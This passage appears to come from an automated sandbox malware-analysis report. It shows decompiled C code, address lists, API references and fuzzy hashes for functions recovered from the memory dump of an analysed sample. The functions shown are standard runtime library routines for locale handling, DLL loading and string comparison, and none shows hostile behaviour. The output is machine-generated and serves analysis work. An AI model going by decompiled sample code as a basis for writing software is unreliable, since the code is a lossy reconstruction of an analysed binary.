						return E0041361E(_t89, _t72, _v20 ^ _t100, _t86, _t90, _t96);
					}
				}
			}

0x0040b260
0x0040b261
0x0040b263
0x0040b265
0x0040b270
0x0040b274
0x0040b279
0x0040b27b
0x0040b27e
0x0040b27f
0x0040b280
0x0040b281
0x0040b285
0x0040b28b
0x0040b28d
0x0040b290
0x0040b293
0x0040b293
0x0040b296
0x0040b299
0x0040b29c
0x0040b29e
0x0040b2a5
0x0040b2aa
0x0040b2ad
0x0040b2b5
0x0040b2bc
0x0040b2c1
0x0040b2c5
0x0040b2ca
0x0040b2d0
0x0040b2d3
0x0040b2d8
0x0040b2de
0x0040b2e3
0x0040b2e9
0x0040b2eb
0x0040b2f0
0x0040b2f1
0x0040b2f6
0x0040b2f6
0x0040b2fe
0x0040b303
0x0040b303
0x0040b309
0x0040b30c
0x0040b316
0x0040b360
0x0040b360
0x00000000
0x0040b318
0x0040b31b
0x0040b320
0x0040b362
0x0040b362
0x0040b366
0x0040b378
0x0040b378
0x0040b37a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040b368
0x0040b368
0x0040b36d
0x0040b370
0x0040b37c
0x0040b37c
0x0040b37f
0x0040b382
0x0040b384
0x00000000
0x0040b386
0x0040b389
0x0040b38b
0x0040b390
0x0040b393
0x0040b396
0x0040b3bd
0x0040b3c2
0x0040b3c3
0x0040b3c4
0x0040b3c5
0x0040b3c6
0x0040b3c7
0x0040b3c8
0x0040b3c9
0x0040b3ca
0x0040b3cb
0x0040b3cc
0x0040b3cd
0x0040b3ce
0x0040b3cf
0x0040b3d0
0x0040b3d1
0x0040b3d5
0x0040b3d7
0x0040b410
0x0040b410
0x0040b417
0x0040b3d9
0x0040b3d9
0x0040b3d9
0x0040b3dc
0x0040b3e1
0x00000000
0x0040b3e3
0x0040b3e3
0x0040b3e4
0x0040b3e6
0x0040b3e8
0x0040b3ea
0x0040b3f0
0x0040b3f0
0x0040b3f2
0x0040b3f5
0x0040b3f7
0x0040b401
0x0040b403
0x0040b403
0x0040b3f0
0x0040b408
0x0040b40f
0x0040b40f
0x0040b3e1
0x0040b398
0x0040b398
0x0040b39b
0x0040b39f
0x0040b3a3
0x0040b3aa
0x0040b3af
0x0040b3b2
0x00000000
0x0040b3b2
0x0040b396
0x0040b372
0x0040b375
0x00000000
0x0040b375
0x0040b370
0x0040b322
0x0040b322
0x0040b322
0x0040b325
0x0040b328
0x0040b32c
0x0040b331
0x0040b335
0x0040b33c
0x0040b347
0x0040b34f
0x0040b350
0x0040b351
0x0040b35f
0x0040b35f
0x0040b320

APIs

std::locale::_Init.LIBCPMT ref: 0040B2A5

Part of subcall function 00412660: __EH_prolog3.LIBCMT ref: 00412667
Part of subcall function 00412660: std::_Lockit::_Lockit.LIBCPMT ref: 00412672
Part of subcall function 00412660: std::locale::_Setgloballocale.LIBCPMT ref: 0041268D
Part of subcall function 00412660: _Yarn.LIBCPMT ref: 004126A3
Part of subcall function 00412660: std::_Lockit::~_Lockit.LIBCPMT ref: 004126E3

std::_Lockit::_Lockit.LIBCPMT ref: 0040B2BC
std::_Lockit::_Lockit.LIBCPMT ref: 0040B2DE
std::_Lockit::~_Lockit.LIBCPMT ref: 0040B2FE
std::_Lockit::~_Lockit.LIBCPMT ref: 0040B32C
std::_Facet_Register.LIBCPMT ref: 0040B3A3
Concurrency::cancel_current_task.LIBCPMT ref: 0040B3BD

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$std::locale::_$Concurrency::cancel_current_taskFacet_H_prolog3InitRegisterSetgloballocaleYarn
String ID:
API String ID: 298508500-0
Opcode ID: 9f4bc39ae22e69c95f103ddf0abc74c8b0506fae08c52b9734041536cbc8bad0
Instruction ID: ff1659b67b507256d8fb927cf8064d15eabcb5019be6195162a6b86e99dc18e4
Opcode Fuzzy Hash: 9f4bc39ae22e69c95f103ddf0abc74c8b0506fae08c52b9734041536cbc8bad0
Instruction Fuzzy Hash: 5A418075D00208DFCB11CF98D941BAEB7B0FB48714F24416AD815B7381D778AE44CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004230D4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E004230D4(void* __ecx, signed int* _a4, intOrPtr _a8) {
				signed int _v8;
				void* _t20;
				void* _t22;
				WCHAR* _t26;
				signed int _t29;
				void** _t30;
				signed int* _t35;
				void* _t38;
				void* _t40;

				_t35 = _a4;
				while(_t35 != _a8) {
					_t29 =  *_t35;
					_v8 = _t29;
					_t38 =  *(0x444d48 + _t29 * 4);
					if(_t38 == 0) {
						_t26 =  *(0x436e10 + _t29 * 4);
						_t38 = LoadLibraryExW(_t26, 0, 0x800);
						if(_t38 != 0) {
							L14:
							_t30 = 0x444d48 + _v8 * 4;
							 *_t30 = _t38;
							if( *_t30 != 0) {
								FreeLibrary(_t38);
							}
							L16:
							_t20 = _t38;
							L13:
							return _t20;
						}
						_t22 = GetLastError();
						if(_t22 != 0x57) {
							L9:
							 *(0x444d48 + _v8 * 4) = _t22 | 0xffffffff;
							L10:
							_t35 =  &(_t35[1]);
							continue;
						}
						_t22 = E00420218(_t26, L"api-ms-", 7);
						_t40 = _t40 + 0xc;
						if(_t22 == 0) {
							goto L9;
						}
						_t22 = E00420218(_t26, L"ext-ms-", 7);
						_t40 = _t40 + 0xc;
						if(_t22 == 0) {
							goto L9;
						}
						_t22 = LoadLibraryExW(_t26, _t38, _t38);
						_t38 = _t22;
						if(_t38 != 0) {
							goto L14;
						}
						goto L9;
					}
					if(_t38 != 0xffffffff) {
						goto L16;
					}
					goto L10;
				}
				_t20 = 0;
				goto L13;
			}

0x004230dd
0x00423172
0x004230e5
0x004230e7
0x004230f1
0x004230f6
0x00423103
0x00423118
0x0042311c
0x00423182
0x00423187
0x0042318e
0x00423192
0x00423195
0x00423195
0x0042319b
0x0042319b
0x0042317d
0x00423181
0x00423181
0x0042311e
0x00423127
0x00423160
0x0042316d
0x0042316f
0x0042316f
0x00000000
0x0042316f
0x00423131
0x00423136
0x0042313b
0x00000000
0x00000000
0x00423145
0x0042314a
0x0042314f
0x00000000
0x00000000
0x00423154
0x0042315a
0x0042315e
0x00000000
0x00000000
0x00000000
0x0042315e
0x004230fb
0x00000000
0x00000000
0x00000000
0x00423101
0x0042317b
0x00000000

APIs

FreeLibrary.KERNEL32(00000000,?,004231E1,00402EC7,?,?,00000000,?,?,0042340B,00000021,FlsSetValue,00437430,00437438,?), ref: 00423195

Strings

ext-ms-, xrefs: 0042313F
api-ms-, xrefs: 0042312B

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: f0df5e45352c92f9d67394726655a06941e75b4868e660512e8b928e2338077a
Instruction ID: 82b5b76a2cbfa9af0ecd2bd83a300dfd513fac302c34fec3c259524cb878e5d2
Opcode Fuzzy Hash: f0df5e45352c92f9d67394726655a06941e75b4868e660512e8b928e2338077a
Instruction Fuzzy Hash: EF212075B00221BBCB219F64AC81A6B33789B417A2F250122F805A7290D73CEF11CAEC

Uniqueness

Uniqueness Score: -1.00%

Function 0041E1D3 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 42
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 25%

			E0041E1D3(intOrPtr _a4) {
				char _v16;
				signed int _v20;
				signed int _t11;
				int _t14;
				void* _t16;
				void* _t20;
				int _t22;
				signed int _t23;

				_t11 =  *0x443048; // 0x7239e5fc
				 *[fs:0x0] =  &_v16;
				_v20 = _v20 & 0x00000000;
				_t14 =  &_v20;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t14, _t11 ^ _t23, _t20, _t16,  *[fs:0x0], 0x4318a0, 0xffffffff);
				if(_t14 != 0) {
					_t14 = GetProcAddress(_v20, "CorExitProcess");
					_t22 = _t14;
					if(_t22 != 0) {
						 *0x4331a4(_a4);
						_t14 =  *_t22();
					}
				}
				if(_v20 != 0) {
					_t14 = FreeLibrary(_v20);
				}
				 *[fs:0x0] = _v16;
				return _t14;
			}

0x0041e1e8
0x0041e1f3
0x0041e1f9
0x0041e1fd
0x0041e208
0x0041e210
0x0041e21a
0x0041e220
0x0041e224
0x0041e22b
0x0041e231
0x0041e231
0x0041e224
0x0041e237
0x0041e23c
0x0041e23c
0x0041e245
0x0041e24f

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,7239E5FC,?,?,00000000,004318A0,000000FF,?,0041E163,?,?,0041E137,00000016), ref: 0041E208
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0041E21A
FreeLibrary.KERNEL32(00000000,?,00000000,004318A0,000000FF,?,0041E163,?,?,0041E137,00000016), ref: 0041E23C

Strings

CorExitProcess, xrefs: 0041E212
mscoree.dll, xrefs: 0041E201
0'@, xrefs: 0041E22B

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: 0'@$CorExitProcess$mscoree.dll
API String ID: 4061214504-3869136949
Opcode ID: a35666b667b6824be0dd86e1a805249ec7202434fa09b65fc768ad604416d36e
Instruction ID: 3fb230787f26049f8eb3d17a73e89fb851ca5ebcfd2b5036e103cdca32cf97e4
Opcode Fuzzy Hash: a35666b667b6824be0dd86e1a805249ec7202434fa09b65fc768ad604416d36e
Instruction Fuzzy Hash: D601A775904515BFDB158F51DC06BAEBBB8FB08B11F004526F811A2390DB789A40CA58

Uniqueness

Uniqueness Score: -1.00%

Function 00430686 Relevance: 9.2, APIs: 6, Instructions: 248
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00430686(signed int _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, int _a20, intOrPtr* _a24, intOrPtr* _a28, int _a32) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				signed int _v32;
				intOrPtr* _v36;
				signed int _v40;
				intOrPtr _v44;
				void* _v56;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t49;
				int _t54;
				signed int _t59;
				signed int _t60;
				void* _t63;
				signed int _t64;
				signed int _t65;
				int _t71;
				char* _t76;
				char* _t77;
				int _t81;
				int _t82;
				intOrPtr _t94;
				intOrPtr _t95;
				signed int _t103;
				void* _t104;
				int _t106;
				void* _t107;
				intOrPtr* _t108;

				_t49 =  *0x443048; // 0x7239e5fc
				_v8 = _t49 ^ _t103;
				_t83 = _a24;
				_v40 = _a4;
				_t102 = _a20;
				_v44 = _a8;
				_t53 = _a16;
				_v32 = _a16;
				_v36 = _a24;
				if(_t102 <= 0) {
					if(_t102 < 0xffffffff) {
						goto L54;
					} else {
						goto L3;
					}
				} else {
					_t81 = E0041D20D(_t53, _t102);
					_t83 = _v36;
					_t102 = _t81;
					L3:
					_t101 = _a28;
					if(_t101 <= 0) {
						if(_t101 < 0xffffffff) {
							goto L54;
						} else {
							goto L6;
						}
					} else {
						_t101 = E0041D20D(_t83, _t101);
						_a28 = _t101;
						L6:
						_t82 = _a32;
						if(_t82 == 0) {
							_t82 =  *( *_v40 + 8);
							_a32 = _t82;
						}
						if(_t102 == 0 || _t101 == 0) {
							if(_t102 == _t101) {
								L61:
								_push(2);
								goto L23;
							} else {
								if(_t101 > 1) {
									L32:
									_t54 = 1;
								} else {
									if(_t102 > 1) {
										L22:
										_push(3);
										goto L23;
									} else {
										if(GetCPInfo(_t82,  &_v28) == 0) {
											goto L54;
										} else {
											if(_t102 <= 0) {
												if(_t101 <= 0) {
													goto L33;
												} else {
													if(_v28 >= 2) {
														_t76 =  &_v22;
														if(_v22 != 0) {
															_t101 = _v36;
															while(1) {
																_t94 =  *((intOrPtr*)(_t76 + 1));
																if(_t94 == 0) {
																	goto L32;
																}
																_t100 =  *_t101;
																if(_t100 <  *_t76 || _t100 > _t94) {
																	_t76 = _t76 + 2;
																	if( *_t76 != 0) {
																		continue;
																	} else {
																		goto L32;
																	}
																} else {
																	goto L61;
																}
																goto L55;
															}
														}
													}
													goto L32;
												}
											} else {
												if(_v28 >= 2) {
													_t77 =  &_v22;
													if(_v22 != 0) {
														_t102 = _v32;
														while(1) {
															_t95 =  *((intOrPtr*)(_t77 + 1));
															if(_t95 == 0) {
																goto L22;
															}
															_t100 =  *_t102;
															if(_t100 <  *_t77 || _t100 > _t95) {
																_t77 = _t77 + 2;
																if( *_t77 != 0) {
																	continue;
																} else {
																	goto L22;
																}
															} else {
																goto L61;
															}
															goto L23;
														}
													}
												}
												goto L22;
												L23:
												_pop(_t54);
											}
										}
									}
								}
							}
						} else {
							L33:
							_t59 = E00427CB5(_t82, 9, _v32, _t102, 0, 0);
							_t106 = _t104 + 0x18;
							_v40 = _t59;
							if(_t59 == 0) {
								L54:
								_t54 = 0;
							} else {
								_t100 = _t59 + _t59 + 8;
								asm("sbb eax, eax");
								_t60 = _t59 & _t59 + _t59 + 0x00000008;
								if(_t60 == 0) {
									L60:
									_push(0);
									goto L59;
								} else {
									if(_t60 > 0x400) {
										_t82 = E00421D39(_t60);
										if(_t82 == 0) {
											goto L60;
										} else {
											 *_t82 = 0xdddd;
											goto L40;
										}
									} else {
										E00413C50(_t60);
										_t82 = _t106;
										if(_t82 == 0) {
											goto L60;
										} else {
											 *_t82 = 0xcccc;
											L40:
											_t82 = _t82 + 8;
											if(_t82 == 0) {
												goto L60;
											} else {
												_t102 = _a32;
												_t63 = E00427CB5(_a32, 1, _v32, _a32, _t82, _v40);
												_t107 = _t106 + 0x18;
												if(_t63 == 0) {
													L58:
													_push(_t82);
													L59:
													E00413149();
													goto L53;
												} else {
													_t101 = _v36;
													_t64 = E00427CB5(_t102, 9, _v36, _v36, 0, 0);
													_t108 = _t107 + 0x18;
													_v32 = _t64;
													if(_t64 == 0) {
														goto L58;
													} else {
														_t100 = _t64 + _t64 + 8;
														asm("sbb eax, eax");
														_t65 = _t64 & _t64 + _t64 + 0x00000008;
														if(_t65 == 0) {
															L57:
															_push(0);
															goto L52;
														} else {
															if(_t65 > 0x400) {
																_t101 = E00421D39(_t65);
																if(_t101 == 0) {
																	goto L57;
																} else {
																	 *_t101 = 0xdddd;
																	goto L49;
																}
															} else {
																E00413C50(_t65);
																_t101 = _t108;
																if(_t101 == 0) {
																	goto L57;
																} else {
																	 *_t101 = 0xcccc;
																	L49:
																	_t101 = _t101 + 8;
																	if(_t101 == 0) {
																		goto L57;
																	} else {
																		if(E00427CB5(_t102, 1, _v36, _a28, _t101, _v32) != 0) {
																			_t71 = E00423281(_v44, _a12, _t82, _v40, _t101, _v32, 0, 0, 0);
																			_t102 = _t71;
																			E00413149(_t101);
																			E00413149(_t82);
																			_t54 = _t71;
																		} else {
																			_push(_t101);
																			L52:
																			E00413149();
																			E00413149(_t82);
																			L53:
																			goto L54;
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
				L55:
				return E0041361E(_t54, _t82, _v8 ^ _t103, _t100, _t101, _t102);
			}

0x0043068e
0x00430695
0x0043069b
0x0043069f
0x004306a6
0x004306a9
0x004306ac
0x004306af
0x004306b2
0x004306b8
0x004306cd
0x00000000
0x00000000
0x00000000
0x00000000
0x004306ba
0x004306bc
0x004306c3
0x004306c6
0x004306d3
0x004306d3
0x004306d8
0x004306ed
0x00000000
0x00000000
0x00000000
0x00000000
0x004306da
0x004306e2
0x004306e5
0x004306f3
0x004306f3
0x004306f8
0x004306ff
0x00430702
0x00430702
0x00430707
0x00430713
0x0043091e
0x0043091e
0x00000000
0x00430719
0x0043071c
0x004307a8
0x004307aa
0x00430722
0x00430725
0x0043076d
0x0043076d
0x00000000
0x00430727
0x00430734
0x00000000
0x0043073a
0x0043073c
0x00430777
0x00000000
0x00430779
0x0043077d
0x00430783
0x00430786
0x00430788
0x0043078b
0x0043078b
0x00430790
0x00000000
0x00000000
0x00430792
0x00430796
0x004307a0
0x004307a6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00430796
0x0043078b
0x00430786
0x00000000
0x0043077d
0x0043073e
0x00430742
0x00430748
0x0043074b
0x0043074d
0x00430750
0x00430750
0x00430755
0x00000000
0x00000000
0x00430757
0x0043075b
0x00430765
0x0043076b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043075b
0x00430750
0x0043074b
0x00000000
0x0043076f
0x0043076f
0x0043076f
0x0043073c
0x00430734
0x00430725
0x0043071c
0x004307b0
0x004307b0
0x004307bb
0x004307c0
0x004307c3
0x004307c8
0x004308ce
0x004308ce
0x004307ce
0x004307d1
0x004307d6
0x004307d8
0x004307da
0x0043091a
0x0043091a
0x00000000
0x004307e0
0x004307e5
0x00430804
0x00430809
0x00000000
0x0043080f
0x0043080f
0x00000000
0x0043080f
0x004307e7
0x004307e7
0x004307ec
0x004307f0
0x00000000
0x004307f6
0x004307f6
0x00430815
0x00430815
0x0043081a
0x00000000
0x00430820
0x00430828
0x0043082e
0x00430833
0x00430838
0x00430912
0x00430912
0x00430913
0x00430913
0x00000000
0x0043083e
0x00430843
0x0043084a
0x0043084f
0x00430852
0x00430857
0x00000000
0x0043085d
0x00430860
0x00430865
0x00430867
0x00430869
0x0043090e
0x0043090e
0x00000000
0x0043086f
0x00430874
0x00430893
0x00430898
0x00000000
0x0043089a
0x0043089a
0x00000000
0x0043089a
0x00430876
0x00430876
0x0043087b
0x0043087f
0x00000000
0x00430885
0x00430885
0x004308a0
0x004308a0
0x004308a5
0x00000000
0x004308a7
0x004308be
0x004308f5
0x004308fb
0x004308fd
0x00430903
0x0043090a
0x004308c0
0x004308c0
0x004308c1
0x004308c1
0x004308c7
0x004308cd
0x00000000
0x004308cd
0x004308be
0x004308a5
0x0043087f
0x00430874
0x00430869
0x00430857
0x00430838
0x0043081a
0x004307f0
0x004307e5
0x004307da
0x004307c8
0x00430707
0x004306d8
0x004308d0
0x004308e1

APIs

GetCPInfo.KERNEL32(0066E610,0066E610,?,7FFFFFFF,?,00430956,0066E610,0066E610,?,0066E610,?,?,?,?,0066E610,?), ref: 0043072C
__freea.LIBCMT ref: 004308C1
__freea.LIBCMT ref: 004308C7
__freea.LIBCMT ref: 004308FD
__freea.LIBCMT ref: 00430903
__freea.LIBCMT ref: 00430913

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: __freea$Info
String ID:
API String ID: 541289543-0
Opcode ID: a1cbc33eff90fe2b344755f632616b55fe11d0652a8795251ae22a82f021beef
Instruction ID: a13ec234aee0f392bb2bc3a7f28e20972502c33dd6403985fd9b332b5f3b83e5
Opcode Fuzzy Hash: a1cbc33eff90fe2b344755f632616b55fe11d0652a8795251ae22a82f021beef
Instruction Fuzzy Hash: 78710672A002196BEF24AF658C61BAF77B59F4D314F24121BE814A7382D73CDD418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00413167 Relevance: 9.2, APIs: 6, Instructions: 224
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 72%

			E00413167(intOrPtr _a4, intOrPtr _a8, short* _a12, short* _a16, char* _a20, int _a24, int _a28) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				int _v32;
				char* _v36;
				short* _v40;
				int _v44;
				short* _v48;
				short* _v52;
				intOrPtr _v56;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t54;
				short* _t58;
				signed int _t63;
				signed int _t64;
				short* _t66;
				signed int _t68;
				signed int _t69;
				short* _t72;
				char* _t75;
				char* _t76;
				int _t79;
				intOrPtr _t88;
				intOrPtr _t89;
				short* _t96;
				signed int _t97;
				short* _t98;

				_t54 =  *0x443048; // 0x7239e5fc
				_v8 = _t54 ^ _t97;
				_t96 = _a12;
				_t95 = _a16;
				_v56 = _a4;
				_t57 = _a20;
				_v32 = _t96;
				_v36 = _a20;
				if(_t95 <= 0) {
					if(_t95 < 0xffffffff) {
						goto L56;
					}
					goto L3;
				} else {
					_t95 = E0041D20D(_t96, _t95);
					_t57 = _v36;
					L3:
					_t79 = _a24;
					if(_t79 <= 0) {
						if(_t79 < 0xffffffff) {
							L56:
							_t58 = 0;
							L57:
							return E0041361E(_t58, _t79, _v8 ^ _t97, _t94, _t95, _t96);
						}
						L6:
						if(_t95 == 0 || _t79 == 0) {
							if(_t95 == _t79) {
								L55:
								_push(2);
								L20:
								_pop(_t58);
								goto L57;
							}
							if(_t79 > 1) {
								L29:
								_t58 = 1;
								goto L57;
							}
							if(_t95 > 1) {
								L19:
								_push(3);
								goto L20;
							}
							if(GetCPInfo(_a28,  &_v28) == 0) {
								goto L56;
							}
							if(_t95 <= 0) {
								if(_t79 <= 0) {
									goto L30;
								}
								if(_v28 < 2) {
									goto L29;
								}
								_t75 =  &_v22;
								if(_v22 == 0) {
									goto L29;
								}
								_t95 = _v36;
								while(1) {
									_t88 =  *((intOrPtr*)(_t75 + 1));
									if(_t88 == 0) {
										goto L29;
									}
									_t94 =  *_t95;
									if(_t94 <  *_t75 || _t94 > _t88) {
										_t75 = _t75 + 2;
										if( *_t75 != 0) {
											continue;
										}
										goto L29;
									} else {
										goto L55;
									}
								}
								goto L29;
							}
							if(_v28 < 2) {
								goto L19;
							}
							_t76 =  &_v22;
							if(_v22 == 0) {
								goto L19;
							} else {
								goto L15;
							}
							while(1) {
								L15:
								_t89 =  *((intOrPtr*)(_t76 + 1));
								if(_t89 == 0) {
									goto L19;
								}
								_t94 =  *_t96;
								if(_t94 <  *_t76 || _t94 > _t89) {
									_t76 = _t76 + 2;
									if( *_t76 != 0) {
										continue;
									}
									goto L19;
								} else {
									goto L55;
								}
							}
							goto L19;
						} else {
							L30:
							_t96 = 0;
							_t63 = MultiByteToWideChar(_a28, 9, _v32, _t95, 0, 0);
							_v44 = _t63;
							if(_t63 == 0) {
								goto L56;
							}
							_t94 = _t63 + _t63 + 8;
							asm("sbb eax, eax");
							_t64 = _t63 & _t63 + _t63 + 0x00000008;
							if(_t64 == 0) {
								_v52 = 0;
								L54:
								E00412F64( &_v52);
								_t58 = _t96;
								goto L57;
							}
							if(_t64 > 0x400) {
								_push(_t64);
								_t66 = E0041BF16();
								_v40 = _t66;
								if(_t66 == 0) {
									L38:
									_v52 = _t66;
									if(_t66 == 0 || MultiByteToWideChar(_a28, 1, _v32, _t95, _t66, _v44) == 0) {
										goto L54;
									} else {
										_t95 = _v36;
										_t68 = MultiByteToWideChar(_a28, 9, _v36, _t79, _t96, _t96);
										_v32 = _t68;
										if(_t68 == 0) {
											goto L54;
										}
										_t94 = _t68 + _t68 + 8;
										asm("sbb eax, eax");
										_t69 = _t68 & _t68 + _t68 + 0x00000008;
										if(_t69 == 0) {
											_v48 = _t96;
											L52:
											E00412F64( &_v48);
											goto L54;
										}
										if(_t69 > 0x400) {
											_push(_t69);
											_t95 = E0041BF16();
											if(_t95 == 0) {
												L48:
												_v48 = _t95;
												if(_t95 != 0) {
													_t72 = MultiByteToWideChar(_a28, 1, _v36, _t79, _t95, _v32);
													if(_t72 != 0) {
														__imp__CompareStringEx(_v56, _a8, _v40, _v44, _t95, _v32, _t96, _t96, _t96);
														_t96 = _t72;
													}
												}
												goto L52;
											}
											 *_t95 = 0xdddd;
											L47:
											_t95 =  &(_t95[4]);
											goto L48;
										}
										E00413C50(_t69);
										_t95 = _t98;
										if(_t95 == 0) {
											goto L48;
										}
										 *_t95 = 0xcccc;
										goto L47;
									}
								}
								 *_t66 = 0xdddd;
								L37:
								_t66 =  &(_t66[4]);
								_v40 = _t66;
								goto L38;
							}
							E00413C50(_t64);
							_t66 = _t98;
							_v40 = _t66;
							if(_t66 == 0) {
								goto L38;
							}
							 *_t66 = 0xcccc;
							goto L37;
						}
					}
					_t79 = E0041D20D(_t57, _t79);
					goto L6;
				}
			}

0x0041316d
0x00413174
0x0041317c
0x00413180
0x00413183
0x00413186
0x00413189
0x0041318c
0x00413191
0x004131a6
0x00000000
0x00000000
0x00000000
0x00413193
0x0041319b
0x0041319d
0x004131ac
0x004131ac
0x004131b1
0x004131c3
0x004133b9
0x004133b9
0x004133bb
0x004133cc
0x004133cc
0x004131c9
0x004131cb
0x004131d7
0x004133b2
0x004133b2
0x00413232
0x00413232
0x00000000
0x00413232
0x004131e0
0x0041326b
0x0041326d
0x00000000
0x0041326d
0x004131e9
0x00413230
0x00413230
0x00000000
0x00413230
0x004131fa
0x00000000
0x00000000
0x00413202
0x0041323a
0x00000000
0x00000000
0x00413240
0x00000000
0x00000000
0x00413246
0x00413249
0x00000000
0x00000000
0x0041324b
0x0041324e
0x0041324e
0x00413253
0x00000000
0x00000000
0x00413255
0x00413259
0x00413263
0x00413269
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00413259
0x00000000
0x0041324e
0x00413208
0x00000000
0x00000000
0x0041320e
0x00413211
0x00000000
0x00000000
0x00000000
0x00000000
0x00413213
0x00413213
0x00413213
0x00413218
0x00000000
0x00000000
0x0041321a
0x0041321e
0x00413228
0x0041322e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0041321e
0x00000000
0x00413273
0x00413273
0x00413273
0x00413280
0x00413286
0x0041328b
0x00000000
0x00000000
0x00413294
0x00413299
0x0041329b
0x0041329d
0x004133a3
0x004133a6
0x004133a9
0x004133ae
0x00000000
0x004133ae
0x004132a8
0x004132c0
0x004132c1
0x004132c6
0x004132cc
0x004132da
0x004132da
0x004132df
0x00000000
0x00413300
0x00413300
0x0041330c
0x00413312
0x00413317
0x00000000
0x00000000
0x00413320
0x00413325
0x00413327
0x00413329
0x00413396
0x00413399
0x0041339c
0x00000000
0x0041339c
0x00413330
0x00413345
0x0041334b
0x00413350
0x0041335b
0x0041335b
0x00413360
0x0041336f
0x00413377
0x0041338c
0x00413392
0x00413392
0x00413377
0x00000000
0x00413360
0x00413352
0x00413358
0x00413358
0x00000000
0x00413358
0x00413332
0x00413337
0x0041333b
0x00000000
0x00000000
0x0041333d
0x00000000
0x0041333d
0x004132df
0x004132ce
0x004132d4
0x004132d4
0x004132d7
0x00000000
0x004132d7
0x004132aa
0x004132af
0x004132b1
0x004132b6
0x00000000
0x00000000
0x004132b8
0x00000000
0x004132b8
0x004131cb
0x004131bc
0x00000000
0x004131bc

APIs

GetCPInfo.KERNEL32(?,?,?,?,?), ref: 004131F2
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00413280
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 004132F2
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 0041330C
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0041336F
CompareStringEx.KERNEL32 ref: 0041338C

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: ByteCharMultiWide$CompareInfoString
String ID:
API String ID: 2984826149-0
Opcode ID: 1e366924a8afa3260e4bda327b1684d08ec726ce12f8cd426a0c9c91e282a787
Instruction ID: 2be33855410c22ce869d50a1c264c227976abd848f31d1ba5e0114bd0dc5f069
Opcode Fuzzy Hash: 1e366924a8afa3260e4bda327b1684d08ec726ce12f8cd426a0c9c91e282a787
Instruction Fuzzy Hash: D471F47190024AABDF209FA5CC45AEF7BB5EF45316F14005BE914E6250DB3DCA85CB6C

Uniqueness

Uniqueness Score: -1.00%

Function 00412F7D Relevance: 9.2, APIs: 6, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 00412FC6
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 00413031
LCMapStringEx.KERNEL32 ref: 0041304E
LCMapStringEx.KERNEL32 ref: 0041308D
LCMapStringEx.KERNEL32 ref: 004130EC
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 0041310F

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: 1666661308ac9c99fe0898e319a5e1a5e0521e4177e49a6af332319b6bf95ff5
Instruction ID: 118d9ae00c13b7aa2d11932e4adea69e1be9d9323359ec601ddb07f2daa3e6c1
Opcode Fuzzy Hash: 1666661308ac9c99fe0898e319a5e1a5e0521e4177e49a6af332319b6bf95ff5
Instruction Fuzzy Hash: 4451E27260021ABBEF209F60CC45FEB7BB9EF44746F20442AF915D6250D739CE919B98

Uniqueness

Uniqueness Score: -1.00%

Function 0040B420 Relevance: 9.1, APIs: 6, Instructions: 116
COMMON

Download Yara Rule
